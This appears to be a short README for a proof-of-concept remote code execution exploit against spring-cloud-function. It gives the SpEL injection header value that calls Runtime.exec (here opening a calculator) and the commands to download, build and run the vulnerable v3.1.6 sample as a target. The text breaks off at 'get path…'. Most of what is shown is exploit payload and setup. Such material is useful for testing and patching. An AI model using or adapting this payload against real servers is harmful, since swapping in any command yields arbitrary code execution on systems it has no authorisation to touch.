Spring-Spel-0Day-Poc is spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app") build wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zipunzip v3.1.6.zipcd spring-cloud-function-3.1.6cd spring-cloud-function-samples/function-sample-pojomvn packagejava -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar get path…